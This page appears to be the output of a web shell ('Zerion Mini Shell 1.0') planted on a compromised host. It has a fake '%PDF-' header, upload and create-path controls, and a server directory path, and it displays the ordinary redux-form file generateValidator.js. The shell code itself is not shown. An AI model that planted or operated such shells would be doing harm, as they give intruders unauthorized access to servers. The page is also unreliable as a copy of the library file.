%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/emergentqj/actioncivile/pre-auth/.4cc3a2e1590a4463a5f392ddcc26929e/static/node_modules/redux-form/es/
Upload File :
Create Path :
Current File : /home/emergentqj/actioncivile/pre-auth/.4cc3a2e1590a4463a5f392ddcc26929e/static/node_modules/redux-form/es/generateValidator.js

import plain from './structure/plain';

var toArray = function toArray(value) {
  return Array.isArray(value) ? value : [value];
};

var getError = function getError(value, values, props, validators, name) {
  var array = toArray(validators);

  for (var i = 0; i < array.length; i++) {
    var error = array[i](value, values, props, name);

    if (error) {
      return error;
    }
  }
};

export default function generateValidator(validators, _ref) {
  var getIn = _ref.getIn;
  return function (values, props) {
    var errors = {};
    Object.keys(validators).forEach(function (name) {
      var value = getIn(values, name);
      var error = getError(value, values, props, validators[name], name);

      if (error) {
        errors = plain.setIn(errors, name, error);
      }
    });
    return errors;
  };
}

Zerion Mini Shell 1.0